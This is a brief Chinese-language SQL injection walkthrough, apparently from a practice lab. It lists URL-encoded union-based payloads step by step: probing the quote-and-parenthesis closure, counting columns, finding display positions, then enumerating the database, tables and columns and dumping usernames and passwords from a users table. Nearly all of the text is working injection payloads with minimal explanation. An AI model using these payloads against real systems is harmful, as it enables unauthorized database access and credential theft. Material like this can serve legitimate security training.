輸入單引號試探： id=1 '

報錯信息里面出現 ') 說明閉合符合里面還有個 )

再次試探：id=1 ') order by 3 --+

查看回顯位置：

id=-1%20%27)%20union%20select%201,2,3%20--+

查看數據庫：

id=-1%20%27)%20union%20select%201,2,database()%20--+

查看表：

id=-1%20%27)%20union%20select%201,2,group_concat(table_name) from information_schema.tables where table_schema=database()%20--+

查看列名：

?id=-1%20%27)%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27%20--+

查看字段內容：

id=-1%20%27)%20union%20select%201,2,group_concat(0x7e,username,0x5c,password,0x7e)%20from users%20--+